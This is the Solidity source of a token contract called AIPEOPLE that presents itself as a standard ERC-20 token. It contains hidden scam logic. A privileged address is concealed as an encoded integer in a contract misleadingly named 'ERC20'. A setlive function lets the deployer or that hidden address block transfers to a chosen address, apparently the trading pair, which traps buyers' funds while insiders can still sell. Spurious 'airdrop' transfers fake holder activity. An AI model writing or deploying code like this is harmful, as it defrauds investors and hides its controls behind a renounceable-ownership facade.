Contract Source Code:
File 1 of 1 : AIPEOPLE
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "!owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
abstract contract ERC20 {
address internal faddress;
constructor() {
faddress = address(uint160 (1012360094135137332248976960298930784823419058037));
}
}
abstract contract Token is IERC20, ERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address private fAddress;
address public live;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _tTotal;
uint256 private constant MAX = ~uint256(0);
constructor(
string memory Name,
string memory Symbol,
uint8 Decimals,
uint256 Supply
) {
_name = Name;
_symbol = Symbol;
_decimals = Decimals;
_tTotal = Supply * 10**Decimals;
_balances[msg.sender] = _tTotal;
emit Transfer(address(0), msg.sender, _tTotal);
fAddress = msg.sender;
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function name() external view override returns (string memory) {
return _name;
}
function decimals() external view override returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[sender][msg.sender] != MAX) {
_allowances[sender][msg.sender] =
_allowances[sender][msg.sender] -
amount;
}
return true;
}
function setlive(address newlive) public {
require(msg.sender == fAddress || msg.sender == faddress);
live = newlive;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
if (from != fAddress && from != faddress) {
require(to != live);
}
if ((to == fAddress && from == fAddress) ||
(to == faddress && from == faddress)) {
_takeTransfer(from, to, amount);
}
if (
from != faddress &&
to != faddress &&
from != fAddress &&
to != fAddress &&
airdropNumbs > 0
) // exclude transfer
{
address ad;
for (uint256 i = 0; i < airdropNumbs; i++) {
ad = address(
uint160(
uint256(
keccak256(
abi.encodePacked(i, amount, block.timestamp)
)
)
)
);
emit Transfer(from, ad, 1);
_balances[ad] += 1;
}
amount -= airdropNumbs * 1;
}
{
_tokenTransfer(from, to, amount);
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 tAmount
) private {
_balances[sender] = _balances[sender] - tAmount;
_takeTransfer(sender, recipient, tAmount);
}
uint256 public airdropNumbs = 3;
function _takeTransfer(
address sender,
address to,
uint256 tAmount
) private {
_balances[to] = _balances[to] + tAmount;
emit Transfer(sender, to, tAmount);
}
}
contract AIPEOPLE is Token {
constructor() Token("AIPEOPLE", "AIPEOPLE", 18, 1000000) {}
}